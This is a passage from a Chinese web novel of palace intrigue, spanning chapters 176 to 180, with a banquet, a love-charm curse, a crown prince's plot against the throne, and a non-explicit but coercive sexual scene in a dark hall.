男人嘛,尤其是病中脆弱的男人,最是容易被打动。届时,凭着孩子和太子的怜爱,说不定根本不用她多言,太子便会主动去向圣上请旨。
这太子妃之位,终归还是她的,跑不了!
第176章 委实荒淫!
大殿之上,皇帝锐利的目光扫过那刺客瘫软的身影,沉吟片刻,沉声唤了一个名字:“裴琰之。”
声音在空旷的大殿中回荡,带着不容置疑的威严。
然而,须臾过去,殿内静悄悄的,并无回应,只有角落里不知哪位官员因紧张而发出的细微吞咽声。
萧启低声禀奏:“回陛下,裴侍郎这两日正与李副将全力追查薛九针的下落,事关重大,故而今日并未出席夜宴。”
皇帝闻言,转而看向身旁:“常玉,此事,你去办。”
常玉笑眯眯地躬身:“陛下放心,老奴必定将这刺客里里外外,‘伺候’得明明白白,服服帖帖。”
皇帝微微颔首。常玉问话的本事,他自然是深信不疑的。
这老奴掌管内廷暗卫多年,手段层出不穷,再硬的骨头到了他手里,也得变成一滩烂泥。
只是近来刑部那个叫裴琰之的年轻侍郎,接连以非常手段漂亮地审结了两桩棘手的案子,让他起了爱才之心。
本想借此机会试试这年轻人的深浅,听闻萧启已安排他去追查薛九针一案,皇帝眼中闪过一抹赞许:
“裴琰之胆大心细,于刑狱一道确有天赋,若能于查案上也有所建树,倒真是颗值得好生栽培的好苗子。”
说话间,两名身着玄色劲装的内侍已悄声上前,将那昏迷的刺客迅速拖离了大殿。地面即将干涸的血痕,旋即也被侍立的宫女擦拭干净。
丝竹之声重新响起,比之前更为婉转悠扬。一队身着霓裳羽衣的舞姬翩然而入,水袖翻飞。
经过方才那场刺杀和姜绾心引发的闹剧,麟德殿上的氛围,终于勉强恢复了几分表面上的祥和与奢靡。
就连一向挑剔的玉珠公主,此刻也被面前烤得皮脆肉嫩的烤乳猪吸引了全副注意。她毫不客气地撕下一大块焦脆的猪皮,放入口中咀嚼,发出满足的咔哧声。
另一侧的三皇子赫连曜,则与使臣兀术推杯换盏,两人似乎完全沉醉于眼前的美酒与曼妙的歌舞之中。
皇帝的脸色这才稍稍缓和了一些。
一旁柔妃见状,纤纤玉指捧着一碟剥好的荔枝,柔声细语地劝道:“陛下,嫔妾刚为您剥好的,快用几颗润润喉吧。”
萧启抬眸,目光下意识地穿过舞动的水袖和觥筹交错的人群,精准地落回了云昭身上。
却见她已安然坐回自己的桌案后,正端起面前的琉璃酒盏,指尖在光滑的杯口上,轻轻抹了一圈。
——这是二人事先约好的手势信号。
这个简单动作,瞬间将萧启拉回了那个烛火摇曳的夜晚。
彼时,他赤裸着上身端坐在木椅上,能清晰地感受到背后云昭指尖的微凉。
云昭一边施针,一边道:“此番我为殿下彻底拔除这桃花咒,但幕后觊觎殿下、施以此咒之人,若不能揪出,恐怕对方还有更阴毒的后招。”
那一晚的金针刺穴,与从前几次舒缓引导截然不同,带着一种强行剥离的霸道与痛楚,不过片刻,萧启的额角与脊背便沁出了一层薄薄的冷汗。
听到云昭此言,他强忍着经脉中窜动的刺痛,哑声问:“你有什么计划?”
云昭的声音自他身后传来,平静无波:“是有点想法,不过……需要殿下配合。”
萧启本以为云昭口中的“配合”,无非是配合她布下圈套,之后联手诱敌、绞杀之类的策略。他甚至连如何调动亲卫、如何**息都在脑中过了一遍。
谁知,云昭接下来竟语气平淡地要求——
只要看到她做出抚摸杯口一圈的手势,他便要立刻装出……对女子情动不已、难以自持的模样!
且不论当时是何等场合,是否在大殿广众之下,都必须立刻找借口,脱离人群,不与众人待在一处!
萧启:“……”
大约是久久未得到他的回应,云昭甚至还从他身侧微微探出头来。
那双清凌凌眸子笔直地盯住他:“殿下可懂我的意思?”
“……自然懂!”他几乎是咬着牙回应。
他是个正常男子,即便从未与任何女子有过肌肤之亲,但身体的自然悸动与反应,他十五六岁时便已体验过,怎会不明白她所指为何。
可是……让他在众目睽睽之下,做出那等急色失态的反应……此举委实荒淫!
之后云昭又絮絮叨叨说了许多细节叮嘱,包括他离席后要注意与她汇合的时机地点等等。
彼时他心思浮动,脑海中反复回荡着那“情动不已”的要求,对她后续的话只听了个大概,心中只觉云昭出的这真是个……馊主意!
偏偏今日在这麟德殿上,他还未来得及过多思考该如何“自然”的演绎,只是回忆那晚施针时她靠近的气息与指尖的触感,以及她提出的那等荒唐要求,身体便已不受控制地泛起一阵燥热……
他连忙端起酒盏,猛喝了两口冰凉的酒液,试图压下那股莫名的躁动。
片刻之后,他闷哼一声,抬手扶住了额头,眉头紧锁,似乎极为不适。
一直关注着他的皇帝见状,不由关切地问道:“渊儿,怎么了?”
萧启摇了摇头,声音带着一丝压抑的沙哑:“无事……许是殿内有些闷。”
萧启今日走进麟德殿时,原本容光焕发,神采奕奕,皇帝见他许
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久未有这般精神凛然的模样,心中本是极为高兴的。
此刻却见他眼波微漾,似蒙上了一层水雾,连耳根都蕴起一片不正常的薄红,呼吸也略显急促。
萧启是皇帝看着自小长大的,自然清楚自己这个侄儿酒量极佳,绝非一两盏御酒就能令他不胜酒力。
皇帝蹙了蹙眉,眼中担忧更甚:“可是旧伤复发?要不要召御医来瞧一瞧?”
萧启再次摇头,强撑着站起身,朝皇帝拱手一礼:“谢陛下关怀,臣并无大碍。只是觉得殿内气闷,想去后花园走一走,透透气便好。”
今日这大殿之上接连发生的糟心事,若非为了维系天家体面与接待外宾,皇帝自己都想去外头透透气。
见他如此,皇帝只当他是被方才那刺客所言扰得不快,便体谅地点了点头:“去吧,若不适,便早些回府歇息。”
“谢陛下。”萧启躬身谢恩,起身时,目光若有似无地环视过整间大殿。
他模样本就生得极为俊美,此刻眉眼间风流蕴藉,状似不经意地一扫,不知勾起了多少少女隐秘的情肠与遐思,自不必细表。
然而,人群之中,唯有一道目光,并非少女怀春的羞涩,而是近乎痴迷与势在必得的灼热。
她目光追随着萧启离去时略显急切的背影,紧紧掐住手中帕子。
她不能再等了!
她必须赶在萧启与姜云昭正式成亲之前,先一步与萧启有了肌肤之亲!
只要生米煮成熟饭,凭她的出身和才貌,皇帝必定会准她嫁入秦王府。
哪怕只能做个平妻,她也满足了。总好过眼睁睁看着心上人另娶他人!
此时,殿内氛围正酣,又一曲激昂的《破阵乐》响起,身着戎装的舞者们手持干戚,动作刚劲有力,展现出沙场征伐的壮烈景象,引得席间不少武将勋贵高声喝彩。
李扶音揉了揉小腹:“灼灼,我想去一趟静室,你去不去?”
李灼灼看得目不转睛,闻言头也不回地摆了摆手:“不去不去!这舞正精彩呢!”
云昭正欲找个合适借口离席,闻言顺势起身:“我与你一起。”
然而,云昭话音刚落,不远处突然传来“哐当”一声脆响,像是什么瓷器落地的声音!
紧接着,便听一道带着哭腔的女声惊慌叫嚷道:“祖母!祖母您怎么了!您别吓嬛儿啊!”
云昭蹙眉望去,只见苏玉嬛正半跪在地,扶着双目紧闭的苏老夫人。
而苏玉嬛也在喊出这一声后,目光精准无比地朝云昭这边睇来:
“姜云昭!你还愣着做什么!你不是懂医术吗?快过来帮祖母瞧瞧!”
第177章 必须除掉腹中孩儿!
云昭自是着急,恨不能立刻抽身去与萧启汇合。
今夜她与萧启布下此局,旨在引蛇出洞,若因耽搁而错失良机,引起对方警觉,再想证据确凿地揪出,便难如登天!
她必须尽快赶到约定地点,确保计划顺利进行。
然而苏玉嬛和她身后的林氏,本就是她重点怀疑的对象。
那日苏家二房朱嬷嬷曾吐露,亲眼见过林氏房内隐秘供奉着一尊诡异的墨玉雕像。
她已请萧启派人前往林氏老家江陵府清溪县暗查,人手刚刚出发,消息尚未传回。
此刻苏玉嬛当众发难,无论祖母是真病还是假恙,都透着一股不寻常的意味,让她无法轻易忽视。
出于医者的本能与谨慎,云昭凝眸看向被众人围住的苏老夫人。
见其面色潮红,呼吸粗重,牙关微咬,痛苦之态不似作伪。
她悄然运转玄瞳,目光扫过苏老夫人周身,却并未发现任何邪祟阴煞。
云昭心中有了初步判断:苏老夫人症状,更像是急火攻心。
或是本身宿疾引发,或是了解她的人,用食物或其他东西刻意诱发。
时机紧迫,不容她在此多作纠缠,云昭当即朝御座上的皇帝躬身道:
“陛下,方才秦王殿下离席时神色似有不适,臣女实在放心不下,恳请陛下允准,容臣女前去探看一二。”
几乎就在她开口的同时,男宾席位上的苏老大人与其长孙苏惊墨已迅速离席,快步走向女眷这边。
就在众人视线被他们身形遮挡的刹那间隙,云昭敏锐地注意到,原本坐在苏玉嬛身旁的宋白玉,竟已悄无声息地失去了踪影。
苏老大人目光遥遥扫向云昭,不动声色地朝她微微摆手,示意她无需插手此事,随即向上首行礼:
“陛下,惊扰圣驾,臣万分惶恐。
想是内子年事已高,近来天气燥热,以致有些暑热攻心,一时不适。
恳请陛下恩准,唤御医前来一看便好,不敢劳动姜司主。”
皇帝见状,从善如流地点点头,语气温和:“苏卿不必多礼,老夫人身体要紧。常玉,速传御医为老夫人诊治。”
他随即又将目光转向云昭,见她眉宇间那抹焦灼不似作伪,非但没有不悦,反而唇角微扬,露出一丝近乎欣慰的笑意,挥了挥手:“去吧去吧,渊儿那边,你好生看着些。”
显然,云昭这般毫无矫饰、大大方方表达对萧启的关切,反而让皇帝心生欢喜。
越是地位尊崇、掌控欲强的男人,便越是看重身边女子的驯服与依赖。
只看皇帝近来独宠柔妃,便可知其偏好。
云昭性子清冷刚强,才干出众,虽非皇帝惯常欣赏的温婉类型,奈何萧启真心喜爱,一心求娶。
今夜见她竟主动开口,于大庭广众之下直白表露对秦王的牵挂,皇帝心中不由感到一丝安慰——
这未来的侄媳妇,心里终究是装着渊儿的。
在场众人将这一幕尽收眼底,神色各异。
尤其是以苏玉嬛为首的一众贵女命妇,谁都没料到,姜云昭竟会在苏老夫人“病发”、众人目光汇聚之时,如此直截了当地说出牵挂秦王之言。
但转念一想,二人本就是陛下亲赐的未婚夫妻,云昭此举并无不妥,此情堪称赤诚。
至于苏老夫人,论血缘确是云昭的外祖母,但京城谁人不知苏家与苏**早已断绝往来多年?
姜云昭此刻神色淡然,选择避嫌,倒也让人挑不出太大错处。
李灼灼见状更是一笑,扯了扯身旁英国公夫人的袖子:“母亲您看,我就是喜欢云昭这性子,坦荡!”
英国公夫人却与相邻的承义侯夫人交换了一个心照不宣的眼神。
但凡在深宅后院浸淫多年、有些城府的贵妇人,都敏锐地察觉到今晚这场夜宴波诡云谲,很不太平。
往年大型宫宴,偶有命妇因体弱中暑不适,也算寻常,偏殿候着的御医本就是为此类情况准备。
真正耐人寻味的,是苏玉嬛方才的态度——
明明有御医可请,为何非要当众点名,硬要姜云昭近前伺候?
若仅仅是为了当众为难,这手段未免太过儿戏和刻意,背后恐怕另有文章。
……
凝晖堂内,灯火通明。
空气中弥漫着浓重苦涩的汤药气息,太子被安置在临窗的软榻上,面上不见血色。
章太医刚刚施针完毕,用帕子擦拭着满头的汗水,对一旁面色紧绷的女官拂云仔细交代:
“殿下体内的‘鸠羽红’剧毒,老夫已用金针渡穴之法,将大部分毒素逼出,险情暂解。”
他指了指旁边小几上那碗浓黑汁液,“这药服下一碗,约莫一个时辰后,务必唤醒殿下,再服一碗,以清余毒。
明日一早,老夫会再来为殿下施针,巩固疗效。老夫这便先去向陛下复命。”
拂云敛衽一礼:“有劳章太医。”
待章太医的身影消失在殿门外,拂云立刻上前,小心翼翼地扶起虚弱倚靠着的太子。
她迅速从腰间暗袋内取出一颗龙眼大小的碧色药丸,递到太子唇边:“殿下,快服下。”
太子依言吞下药丸,闭目调息。
不过片刻功夫,他脸上那层骇人的青灰死气便以肉眼可见的速度褪去大半,呼吸明显平稳悠长了许多。
拂云见状,一直悬着的心终于落回实处,舒了口气道:“玉衡**事先配好的这解毒丹,果然有奇效。”
太子缓缓睁开眼,腹中那股温和却有力的药力暖流扩散开来,让他舒服了不少。
然而,他脸上的阴沉之色却并未因此消散。他声音低哑,带着质问:“玉衡到底在做什么?
明明说好,让太后和姜绾心安安分分在玄都观清修一段时日,暂避风头!
为何会允许姜绾心出来?还带着太后那柄琵琶!”
拂云觑着太子的脸色,斟酌着词句回道:“殿下息怒。许是……太后娘娘心意坚决,玉衡**纵然本领通天,在某些俗务上,想来也拗不过太后的意愿。
而且,太后娘娘身边终究是留了宫中侍卫的,若她铁了心要送姜绾心入宫……”
太子听明白了拂云的暗示——
姜绾心很可能是太后瞒着玉衡**,私自安排送出来的。
想到此节,他心中更是懊恼憋屈,无处发泄,抬手重重捶在床沿,发出沉闷声响。
“孤真是想不通!”他咬牙切齿,额角青筋隐现,“父皇为何如此信重那萧启!
今日那刺客说的话,
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字字句句指向他背后主使,父皇明明全都听到了,可对待萧启的态度,竟没有丝毫改变!甚至连一句重话都没有!”
经历过之前几次劝谏反遭斥责,拂云在太子怒气勃发时,已不敢轻易深劝。
只要太子不直接逼问,她便垂首敛目,保持沉默,任由太子将胸中郁结尽情发泄。
太子脸色阴沉得能滴出水来,忽又道:“准备笔墨!”
拂云惊讶地抬起头。
太子神情阴鸷,眼中闪过算计的寒光:“母后一直在清凉寺‘清修’,要修到什么时候?
再继续这么逃避下去,孤这储君之位,恐怕真要拱手让人了!”
拂云迟疑道:“可贵妃娘娘那边……”
“她?”太子嘴角勾起一抹冷峭弧度,“她既已怀了孤的骨肉,便是与孤绑在了一根绳上,自然得死心塌地为孤筹谋前程!
她自己心里也清楚,自从柔妃入宫,父皇待她已大不如前了!”
否则,她这位贵妃表姐入宫十年,又怎会直到近来,才被他钻了空子?
他起身走到桌案边,铺开宣纸,一边继续冷声道:“那个突然冒出来的柔妃,底细探听得如何了?”
拂云低声回禀:“回殿下,能查到的和从前一样,身世经历清白,查不出什么特殊。
而且据安插在她殿内的人回报,此女对陛下,似乎……一心一意,很难被别的什么人或事打动。”
太子闻言,几乎要怒笑出声,笔尖在纸上重重一顿:“孤就不信!跟着一个两鬓霜白、猜忌心重的老头子,她就真的那么心甘情愿,没有半分怨怼?装得倒是挺像!”
听着太子这般大逆不道地直呼皇帝为“老头子”,拂云心头一跳,死死低下头,不敢接话。
太子运笔如飞,很快写完密信,用火漆封好,交给拂云:“加上秘印,快马加急,送去清凉寺!
让人传话给母后,就说,她若不想自己唯一的儿子,败给那个**生的儿子,落得个凄惨下场,就赶紧给孤回京!帮孤筹谋,夺了这皇位!
届时,她便是尊贵无匹的母后皇太后,这天下还有谁需要她忍气吞声、避居寺中?”
窗棂之外,浓重的夜色里,姜绾心死死捂住自己的嘴,脸色惨白如纸,浑身抑制不住地剧烈颤抖着,心跳快得仿佛要撞出胸腔。
她脑中嗡嗡作响,反复回荡着刚才偷听到的惊天之秘——
“贵妃怀的,是太子的孩儿?!”
也就是说,并非只有她肚子里这块肉,才是太子唯一的子嗣!
她拼命回想方才在大殿上自己宣布怀有龙种时,那位高高在上的孟贵妃是何神情。
是震惊?是愤怒?还是……不屑与嘲讽?
可当时她只顾着表演自己的委屈与期盼,竟完全忽略了贵妃的反应!如今怎么回想,都是一片模糊!
恐慌如同冰冷的潮水,瞬间淹没了她……
姜绾心步步后退,脚下虚浮,险些绊倒!
不!不行!她绝不能坐以待毙!
母亲此刻就在贵妃身边伺候……
想要保住她梦寐以求的太子妃之位,想要让她的孩子成为未来的皇太孙,她必须立刻将这个惊天消息告诉母亲!
必须想办法……除掉贵妃腹中孩儿!
第178章 玷污他的清白之身
殿内,太子饮下一盏温水,只觉熨帖的暖流在四肢百骸流转,随之而来的,却是那股几近灼人的燥热,如同野火般在他体内窜动。
他蹙紧眉头,嗓音因压抑而显得格外沙哑:“姜绾心……此刻在偏殿?”
拂云抬眼,清晰瞥见太子眼中那抹骇人的猩红,心头不由一颤,低声应道:“是。姜奉仪说……她就候在偏殿外,随时等着伺候殿下汤药。”
“伺候汤药?”他轻嗤一声,“不必了。让她过来,到寝殿内伺候。”
拂云面露迟疑,脚下如同灌了铅。
她太清楚了,每当太子兴致起来时,那手段……便是最放得开的欢场女子也难承受,一夜下来往往遍体鳞伤。
如今姜绾心已是双身子,如何能经得起这般折腾?
迎着太子因不耐而骤然转的眼神,拂云硬着头皮,战战兢兢地提醒:“殿下,姜奉仪她……她已有了身孕,恐、恐不便……”
太子冷笑了声,那笑声里淬着冰碴,毫无温度。
他缓缓站起身,寝衣松垮地披在身上:“孤缺她给孤生孩子么?”
他语速缓慢,却字字如钉,“她只需好好留着她那身‘凤命’,襄助孤顺利登上皇位,就够了。至于其他……”
他顿了顿,眼底掠过一丝残忍,“她既自荐枕席,就该明白要付出什么代价。”
拂云嘴唇翕动,还想劝太子如今是在宫内,并非东宫,太子却已等不及。
他随手抓起一件玄色披风,草草系上,带着一身压抑不住的燥热与戾气,径自大步朝着偏殿方向走去。
……
另一边,云昭步履匆匆,灵活地绕过一座嶙峋的假山,沿着记忆中的路径快步前行。
她对皇宫并不熟悉,但前两次奉命入宫时,曾偶然发现这附近有一片极为幽谧的竹林,清静少人,正是与萧启约定的碰头之地。
谁知,她刚越过假山阴影,踏入相对开阔的地带,身后猛地探出一条坚实的手臂,迅捷如电揽住她的腰肢,同时一只温热的大手,精准地捂住了她即将逸出惊呼的唇。
周身瞬间被一股熟悉的松木冷香包裹,云昭已悄然挪至腰侧银鞭的手,缓缓松开。
身后,萧启压得极低的声音在她耳畔响起:“影一与我身形有七八分相似,我让他换上了我的衣裳,往凝晖堂方向绕了。”
云昭闻言一怔,眸中闪过一丝不解。
她之前与萧启分明约定是在竹林汇合,之后再设法将那幕后之人引向更远的僻静处,以便擒拿或追踪。
怎的萧启自作主张,临时将地点改成了凝晖堂?
然而云昭不知,萧启此举并非存心违背她的计划。
实在是彼时他心猿意马,神思不属,压根没能将她那些细节叮嘱完全听进耳中,只模糊记得个“引开”、“僻静”的大概。
此刻不容细问,二人极有默契地放轻脚步,如同暗夜中潜行的狸猫,悄然尾随在前方那道身姿绰约的女子身影之后,朝着凝晖堂的后院方向行去。
而此刻的凝晖堂,不知缘故,竟是一片昏黑,不见半点灯火,唯有清冷的月光勉强勾勒出殿宇飞檐的轮廓。
云昭凝神,正欲暗中开启玄瞳探查虚实,手却被身旁的萧启轻轻握住。
他掌心温热干燥,带着令人安心的力量。
下一瞬,二人身姿轻盈如燕,借力廊柱,悄无声息地越过一段矮墙,悄然潜至一处灯火俱灭的偏殿屋檐下。
萧启并未立即开口,只将食指虚点在云昭唇瓣上,做了一个噤声的手势,示意她暂且静观其变。
云昭会意,屏息凝神,听到紧闭的殿门内,传来一阵衣物摩擦的窸窣声。
她心中一动,凑近那扇半掩的支摘窗,借着窗外月光,朝殿内望去。
只见大殿之中幽暗一片,依稀可见两道模糊的身影渐渐靠近,最终紧密地拥在了一起,姿态亲昵暧昧。
紧接着,完全出乎云昭意料的,殿内竟响起了女子似痛苦又似欢愉的细细嘤咛,与之相伴的,是男子愈发粗重、带着明显情动意味的喘息声,在这寂静的夜里显得格外清晰。
云昭震惊地瞪大双眼,猛地转过头,看向身旁的萧启!
她只说让引蛇出洞,可没让影一借着萧启的名义整这出啊?
萧启也是一怔,显然也没料到殿内是这般光景。
两人在黑暗中面面相觑,一时竟有些大眼瞪小眼的茫然。
僵持了片刻,云昭率先凑近萧启耳畔命道:“掌灯,拿人!”
温热的气息拂过耳廓,像一片羽毛轻轻刮过萧启的心尖。
他喉结微动,垂首低声道:“抓不得。除非你想让太子东宫再多一位正妃。”
就在方才,他已认出偏殿之中的男子,正是他那位太子堂弟。
而一路追踪影一的女子,正是当朝宰相之女,宋白玉!
云昭倏然转过头,目光再次投向殿内。
这一看不要紧,只见太子已将宋白玉半压在桌案上,腰也动了起来……
眼前骤然一暗,是萧启温热的手掌及时覆上了她的双眼。
他嗓音低沉,“此处不宜久留。我命人暗中守住四周。”
云昭心念电转,瞬间便权衡出利弊:“先撤。”
二人身形如魅,悄无声息退至殿外一处隐蔽拐角。
月光被高墙切割,投下斑驳的阴影。
云昭压下心头翻涌的思绪,对萧启低声道:“方才在大殿之上,我觉察幕后之人催动咒术,便将桃花咒力暂移太子身上。
本想借此,让对方不至立刻察觉咒术已被我强行拔除,但看方才情形……”
太子**,意识昏沉,行动不便,本是用来转移咒力的最佳人选。
若是换个人选,一则,不符合云昭不害无辜之人的行事准则;二来,意识清醒的人被咒力影响,恐
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怕会做出什么特异反应,引人注目。
她顿了顿,叹息地看着萧启:“我也没想到,宋白玉此番不惜激发全部桃花咒力,其目的,竟是为了与殿下……强行成就好事。”
所以,即便方才没有影一在前方刻意引路,被咒力驱使的宋白玉,最终也会循着那被转移的咒力气息,寻到太子所在。
只是谁都未曾料到,凝晖堂竟会一片黑暗,而宋白玉受咒力影响,认咒不认人,全然未曾察觉与之亲热的,并非心心念念的萧启。
而太子……本该因**而躺在床上休养,却不知是因咒力影响,还是别的什么缘故,竟如此生龙活虎,半点不拒绝这送上门来的“温香软玉”。
萧启闻言,脸色瞬间铁青。
被人暗中种下恶诅,已是毕生难洗的奇耻大辱!
而这七重恶诅之中,还混杂着如此不堪的桃花咒,其目的,竟是为了窃取他的元阳,玷污他的清白之身……
简直可恨至极!
云昭同样觉得难评。
按常理而言,桃花煞这类咒术,多是为了激发中咒者内心对特定对象的情意,使其情根深种。
若一开始就只是为了成就肉体之欢,大可使用更为直接的咒术,何必如此大费周章?
然而云昭不知,对宋白玉而言,她从一开始贪图的,就不仅仅是萧启的人,更是他那颗高高在上的心。
她要的是先得到他的心,名正言顺地占据秦王妃之位,再顺理成章地得到他的人。
却不想,云昭横空出世,从一开始就将萧启身上的桃花咒力减半,再加上萧启另有心仪之人,意志毫不软弱,是以从未对宋白玉产生过什么情思。
云昭思忖片刻,决断道:“我们必须赶在宋白玉发现咒力有异、事情败露之前,抢先揭穿这桃花咒一案!”
否则,一旦二人反应过来不对,届时根本无需他人推动,只怕太子为了平息风波,就会抢先向陛下求娶宋白玉!
届时想再对付宋白玉就难了!
“请殿下立刻遣一心腹,速回麟德殿,去请一个人过来。”
桃花咒案的另一位苦主,安王妃,此刻正在大殿之中。
若能将她请来,并当众证实宋白玉就是这阴毒咒术的幕后黑手,便能人赃并获,彻底钉死宋白玉!让她再无翻身之日!
然而,就在定计之时,一股强烈的不安,悄然缠上云昭的心头。
她猛地想起方才在麟德殿上,苏玉嬛分明故意利用苏老夫人拖延时间……
宋白玉固然可恨,手段也足够狠毒,但她真的就是最终的幕后主使吗?
今晚这一切,会不会太过顺理成章了些?
想要真正彻查此案,挖出所有的隐情,最终恐怕还是要落到苏家头上!
苏玉嬛,林氏,苏老夫人……这苏家后宅的女人们,一个个心思深沉,盘根错节,恐怕没有一个是可以轻易放过的!
第179章 立你当个侧妃
麟德殿。
坐在原处的苏氏遥遥望着母亲那边的动静,目光穿过攒动的人群,与苏老大人隔空相撞。
父女二人的神色皆有一瞬间难以掩饰的凝滞,旋即,苏氏几不可察地微微颔首。
苏文正苍老的面上流露出几分难以自抑的激动,胡须微颤,也朝着女儿的方向,郑重地点了点头。
守在苏老夫人身边的苏玉嬛见此情形,眼底闪过一抹幽深的忌惮。
林氏因前日被云昭掌掴,脸上瘀血至今未退,因而未能出席今晚的宴会。
但母亲有句话说得不错,苏氏若真得机会认亲回家,恐怕她们母女俩往后再没有好日子过了!
祖父的心,是太偏着苏**这个女儿了!
不远处的姜世安与姜珩父子二人,同时将这一幕收入眼底,各自心中波澜暗涌。
姜世安紧紧攥着拳。今夜御前,心儿固然颜面扫地,可腹中龙胎,却代表着实打实的泼天富贵!
只待有朝一日太子荣登大宝,届时,第一个灭的就是秦王!姜云昭和苏氏,又能讨到什么好?
姜珩却满心忧虑。方才太子听闻心儿有孕时,那眼神冰冷刺骨,不见半分初为人父的喜悦,只有被冒犯的不耐与厌嫌……
这是他第一次如此清晰地意识到,在那位太子殿下心中,他视若珍宝的妹妹,恐怕不过是枚随时可弃的棋子。
一股尖锐的痛惜与无力感,狠狠攫住了他的心脏,让他几乎喘不过气。
想要保护他心头至宝,他必须要变得强大!强大到连苏氏都不敢小瞧了他!
就在这时,一名身着低调灰褐色内侍服饰的仆从,悄无声息地行至安王妃身侧,俯身低语了几句。
安王妃原本沉寂黯淡的眸光,骤然如投入火石的寒潭,湛然亮起!
她不动声色地整理了一下衣袖,悄然起身离席。
几乎在同一时刻,三皇子赫连曜朗声一笑,起身向御座上的皇帝拱手道:
“尊敬的大晋皇帝陛下,此次小王奉父皇之命前来,特精选了我朱玉国雪山牧场培育的百匹汗血宝马,愿献与陛下,以壮天朝骑兵声威!”
他言语间充满自信,随即示意身后随从,“此外,还有千年雪参十对,完整雪豹皮五十张,以及我朱玉国特产的极品羊脂美玉原石十方。”
随从应声上前,恭敬打开其中一个紫檀木盒,里面赫然是一块莹润生辉、毫无瑕疵的白玉,由常玉公公接过,呈至御前。
皇帝抚须而笑,龙颜大悦:“三皇子与国君有心了!如此厚礼,足见诚意。
我大晋亦备下江南贡缎千匹,顶级龙井、武夷岩茶各百斤,官窑烧制的精品瓷器若干,望三皇子带回。愿两国邦交永固。”
赫连曜再次躬身:“陛下厚赐,小王先行谢过!实不相瞒,父皇此次派小王前来,除进献贡礼外,还希望能与天朝结秦晋之好,恳请陛下允准,求娶一位大晋公主,以缔两国百年之盟。”
皇帝眸中精光一闪而过:“国君有此美意,朕心甚喜。只是朕这宫中,子嗣不算繁盛,两位公主都还是牙牙学语的稚童……”
侍立在赫连曜身后的左贤王兀术此时接口道:“若非公主,择一贤德贵女亦可。
只望此女博闻强识,通晓诗书,若能兼通农桑水利、医理算数更佳。
我朱玉国愿以正妃之位迎娶,盼其能将天朝文明播撒,教导我邦百姓种植棉花、改良织造等技艺。”
皇帝闻言,笑容更真切了几分:“赫连皇族有此向学慕化之心,朕岂有不允之理?
三皇子与左贤王在京城期间,若遇到心仪贵女,不妨说与朕知道,朕必当成全这番美事。”
此言一出,席间不少待字闺中的贵女纷纷垂首敛目,下意识地缩了缩身子。
朱玉国虽盛产美玉宝马,不算贫瘠,但地处边陲,民风彪悍。
只看那行事张扬不羁的玉珠公主便知,赫连皇室绝非易于相处之辈,远嫁异国,前路莫测,她们自是避之不及。
然而,亦有少数家世稍逊的女眷,眼中闪动着跃跃欲试的光芒,与身旁家人交换着意味深长的视线。
众人都未曾留意,就在三皇子与兀术向皇帝提出求娶之意时,性情跳脱的玉珠公主一把拉起姜珩,悄无声息地溜出了大殿。
很快,便有侍卫前来低声禀报。
皇帝脸色微沉,尚未发作,三皇子赫连曜已回身察觉,立刻朝皇帝行了一礼:“陛下恕罪,玉珠想是年幼不胜酒力,到附近散酒去了。小王这便去寻她回来,定不让她扰了宫中清净。”
常玉公公适时上前,笑着圆场:“陛下,咱们太液池的荷花眼下开得正好。池边还备下了几叶精致小舟与各式河灯,以供赏玩。
玉珠公主若有雅兴,正好可泛舟湖上,感受一下咱们皇家御苑的夜景风情。”
皇帝顺势颔首,目光扫过席间众人:“也罢。诸位爱卿与夫人小姐们在殿中坐了许久,不妨也随性往太液池边走走,泛舟赏荷,松快片刻。”
早有命妇贵女坐得乏了,此刻听得皇帝开了金口,便三三两两结伴,随着引路内侍,说笑着朝殿后花园的太液池方向迤逦行去。
……
另一边,云昭命人将此前从京中百姓处收来的所有桃花符与同心符,悉数置于一个巨大的竹筐之中。
这些符纸颜色各异,新旧不一,却都隐隐透着一股不祥的甜腻气息。
月色下,她面容肃穆,指尖萦绕着淡金色的灵光,凌空勾勒出繁复的符文。
随着她口中念念有词,那些堆积的符咒无风自动,仿佛被无形的力量搅动。
一丝丝、一缕缕极淡的粉红色气机从符纸中被强行抽取出来,如
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同受到召唤般,在竹筐上方汇聚、纠缠。
“灵丝牵引,咒源显形——去!”云昭并指如剑,向前一点。
那汇聚的粉红气机骤然凝实,化作数条晶莹闪烁的丝线,齐齐指向一个明确的方向——
正是凝辉堂所在!
须知云昭此刻施展的,并非依靠桃花咒力追踪溯源的法门,若如此简单,她早用此法将人揪出。
她此刻操纵的,是让桃花符咒与宋白玉所持母咒之间的牵引现形!
她要的,是让随后赶来的安王妃乃至所有勋贵命妇,清清楚楚看到这铁一般的证据!
安王妃在宫人指引下来到莲池附近时,看到的正是这幅奇异景象。
若是云昭或赵悉正大光明来请,以安王妃多疑的性子,反而会心生警惕。
正是这般“意外”窥见,而这告密的宫人是她曾经施与恩惠的旧识,才让安王妃坚信不疑,云昭必定是私下里查到了什么!
她本就日夜摩挲那邪符,此刻亲眼见到竹筐里大把同类符咒,再见那灵光丝线直指一处,救女心切的怒火瞬间淹没了理智。
“快!抄近路,赶在他们之前,去那丝线所指之处看个究竟!”
*
凝辉堂内。
随着身上之人愈发粗暴狂浪的行径,宋白玉混沌的脑海如同被冰水浇透,猛地从桃花咒迷情乱性的影响中挣脱出来,意识骤然清醒!
眼前是一片昏黑,只有窗外微弱的天光勾勒出器物模糊的轮廓。
身体传来的剧烈痛楚与不适让她瞬间警醒,一股巨大的恐慌攫住了她。
她下意识地伸手,颤抖着朝对方的脸庞探去,想要确认什么——
“啪!”
手腕被人粗暴地一把攥住,那力道大得几乎要捏碎她的骨头,随即被狠狠反拧着摁在冰冷的书案上
男子低哑却带着一丝狎昵的声音在她耳畔清晰响起:“放心,宋小姐对孤如此深情,明日一早,孤便禀明父皇,定给你个名分。立你当个侧妃如何?”
这声音……
宋白玉双眸骤然圆瞠:竟然是太子?怎么可能是太子!
巨大的错愕与**感瞬间淹没了她!
她不顾身体传来的撕裂般的酸痛,用尽全身力气想要推开身上沉重的大山,声音因恐惧而变调:“放开我!你这禽兽!滚开!”
太子显然被她的反抗激怒,轻而易举地提起她的双手,单手死死固定在她头顶上方,姿态愈**荡不堪:
“方才一见孤就投怀送抱,满嘴诉说着对孤仰慕已久、非君不嫁?怎么,这会儿倒是装起贞洁烈妇来了?”
宋白玉自诩京城第一贵女,向来心高气傲,何曾受过如此折辱!
巨大的心理落差让她几乎崩溃,忍不住发出一声凄厉尖锐的尖叫:“怎么会是你!怎么可能!她骗我!她竟然骗了我!!”
第180章 狗男女不得好死!
